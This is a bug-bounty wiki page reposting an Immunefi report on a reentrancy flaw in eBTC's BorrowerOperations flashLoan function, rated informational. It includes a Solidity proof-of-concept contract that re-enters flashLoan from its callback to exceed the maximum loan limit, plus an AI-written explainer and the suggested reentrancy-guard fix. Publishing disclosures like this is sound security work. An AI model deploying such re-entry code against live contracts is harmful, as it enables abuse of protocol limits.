Skip to content
Race condition Audit finding Intermediate

Reentrancy on BorrowerOperations allows users t

The BorrowerOperations contract's flashLoan function lacks reentrancy protection, allowing a borrower to re-enter the function during the callback and borrow more than the maximum flash loan limit. An attacker could thus obtain a larger flash loan than intended, though the contract does not lose value.

shanb1605 Follow

Originally disclosed on Immunefi

Informational View original
  • Disclosed after under an hour

28713 - [SC - Insight] Reentrancy on BorrowerOperations allows users t...

Submitted on Feb 24th 2024 at 19:57:39 UTC by @shanb1605 for Boost | eBTC

Report ID: #28713

Report type: Smart Contract

Report severity: Insight

Target: https://github.com/ebtc-protocol/ebtc/blob/release-0.7/packages/contracts/contracts/BorrowerOperations.sol

Impacts:

  • Contract fails to deliver promised returns, but doesn't lose value

Description

Permalink: https://github.com/ebtc-protocol/ebtc/blob/a96bd000c23425f04c3223a441a625bfb21f6686/packages/contracts/contracts/BorrowerOperations.sol#L1091

Brief/Intro

The flashLoan() allows users to borrow ebtc on BorrowerOperations. The amount that can be borrowed is limited to maxFlashLoan(token) means one can borrow within the maximum limit of the amount. This limit can be bypassed with a reentrant call on the flashLoan() function.

Vulnerability Details

The BorrowerOperations contract misses reentrancy protection on flashLoan() which leads to borrowing over the max borrowing limit of the token.

Solidity
    function flashLoan(
        IERC3156FlashBorrower receiver,
        address token,
        uint256 amount,
        bytes calldata data
    ) external override returns (bool) {
        require(amount > 0, "BorrowerOperations: 0 Amount");
        uint256 fee = flashFee(token, amount); // NOTE: Check for `eBTCToken` is implicit here // NOTE: Pause check is here
        require(amount <= maxFlashLoan(token), "BorrowerOperations: Too much");

        // Issue EBTC
        ebtcToken.mint(address(receiver), amount);

        // Callback
        require(
            receiver.onFlashLoan(msg.sender, token, amount, fee, data) == FLASH_SUCCESS_VALUE,
            "IERC3156: Callback failed"
        );

        // Gas: Repay from user balance, so we don't trigger a new SSTORE
        // Safe to use transferFrom and unchecked as it's a standard token
        // Also saves gas
        // Send both fee and amount to FEE_RECIPIENT, to burn allowance per EIP-3156
        ebtcToken.transferFrom(address(receiver), feeRecipientAddress, fee + amount);

        // Burn amount, from FEE_RECIPIENT
        ebtcToken.burn(feeRecipientAddress, amount);

        emit FlashLoanSuccess(address(receiver), token, amount, fee);

        return true;
    }

Impact Details

Contract fails to deliver promised returns, but doesn't lose value: The contract promises to lend within the maximum flash loan amount to the users. However, the malicious users can re-enter the flashloan() function and borrow above the maximum limit. Hence, the contract fails to deliver the promise.

References

MakerDao has Reentrancy Protection on the FlashLoan module: https://github.com/makerdao/dss-flash/blob/9d492aa6148c35f568400a1ab85cd6df43b2ccc8/src/flash.sol#L74

https://github.com/makerdao/dss-flash/blob/9d492aa6148c35f568400a1ab85cd6df43b2ccc8/src/flash.sol#L137

Proof of Concept

  • First call_Flashloan() is executed to borrow the max amount of ebtc.
  • Inside onFlashLoan some_actions() will executed to borrow again the ebtc from the BorrowerOperations contract.
  • It sets attack_done = true to prevent an unbounded loop.
  • Further actions will be carried out with the Flash Loan amount.
Solidity
pragma solidity ^0.8.0;

interface BorrowerOperations {
    function flashLoan(address receiver,address token,uint256 amount,bytes calldata data) external;
}

contract FlashLoan_Receiver {
    bytes32 public constant FLASH_SUCCESS_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan");

    function call_Flashloan() external {
        BorrowerOperations(address(1)).flashLoan(address(this), address(0xeee),12301300,"");
    }

    function onFlashLoan(address,address,uint256,uint256,bytes memory) external returns(bytes32) {
        some_actions();
        return FLASH_SUCCESS_VALUE;
    }

    function some_actions() internal {
        bool attack_done;
        if(!attack_done) {
            attack_done = true;
            BorrowerOperations(address(1)).flashLoan(address(this), address(0xeee),12301300,"");
        }
    }

}

The original report as published on Immunefi, by shanb1605. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the flashLoan function lacks a reentrancy guard, allowing the borrower's callback to call flashLoan again before the first loan is repaid.

Impact

The contract fails to enforce its promised maximum flash loan amount, allowing a borrower to exceed the limit, but no funds are lost.

What the attacker needed

Ability to deploy a contract implementing onFlashLoan

The fix

The flashLoan function should be protected with a reentrancy guard, as MakerDAO does for its flash loan module.

How it was found

  1. Call flashLoan to borrow the maximum allowed amount of eBTC.
  2. Inside the onFlashLoan callback, call flashLoan again to borrow more eBTC.
  3. Set a flag to prevent an unbounded loop.
  4. Proceed with actions using the total borrowed amount.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A flash loan is a loan that must be borrowed and repaid within the same transaction. This contract sets a maximum amount that can be borrowed in one flash loan, but because it does not prevent the borrower from calling the flash loan function again while the first loan is still active, a borrower can take out more than the maximum. The contract still gets repaid, so no funds are lost, but the limit is broken.

What is Race condition?

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.

More by shanb1605

View all

3 more disclosed reports, best first.

More from eBTC

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Race conditions

The lesson behind this report.

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.